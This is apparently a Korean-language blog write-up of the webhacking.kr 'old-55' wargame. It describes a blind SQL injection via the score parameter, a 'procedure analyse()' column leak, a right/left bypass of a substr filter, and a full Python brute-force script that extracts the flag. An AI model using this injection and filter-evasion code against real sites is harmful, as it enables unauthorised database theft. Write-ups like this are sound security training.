write-up(web)/webhacking.kr

[Webhacking.kr] old-55

chanchand 2023. 1. 10. 21:45
반응형

문제


flag 값은 테이블의 세번째 컬럼에 위치하는 것을 알 수 있다.

 

 

 

 

문제풀이


 

score 누르면 아래 그림과 같이 아이디와 점수가 나온다.

 

 

score를 조작하여 blind injection을 할 수 있다.

{"originWidth":480,"originHeight":42,"style":"CDM","caption":"?score=1

 

procedure analyse()를 통해 세번째 컬럼을 확인한다.

score=1 limit 2,1 procedure analyse()

length를 통해 flag의 길이를 구하고, susbstr를 통해 문자를 구하려고 했는데, substr 이용하면 "no hack" 화면이 뜨며 필터링 되는 것을 확인할 수 있다.

 

검색을 통해 right&left 함수가 susbtr 함수와 동일하게 동작할 수 있는 것을 알게 되었다. 이를 바탕으로 코드는 아래와 같다.

import requests
import string

cookie={"cookie":"'PHPSESSID'=''"}
url="https://webhacking.kr/challenge/web-31/rank.php?score=1||"

# flag length
flag_len=0
for i in range(0,50):
  query="length(p4ssw0rd_1123581321)={}".format(i)
  res=requests.get(url+query,cookies=cookie)
  if (res.text.find("jisu8110")!=-1):
    flag_len=i
    break

print("길이:{}".format(flag_len))


# flag
flag=""
for i in range(1,flag_len+1):
  for j in range(33,128):
    query="ord(right(left(p4ssw0rd_1123581321,{}),1))={}".format(i,j)
    res=requests.get(url+query, cookies=cookie)
    if (res.text.find("jisu8110")!=-1):
      flag+=chr(j)
      print(flag)
      break

print("flag:{}".format(flag))

 

반응형

'write-up(web) > webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-57  (0) 2023.01.11
[Webhacking.kr] old-56  (0) 2023.01.10
[Webhacking.kr] old-54  (0) 2023.01.09
[Webhacking.kr] old-53  (0) 2023.01.09
[Webhacking.kr] old-52  (0) 2023.01.09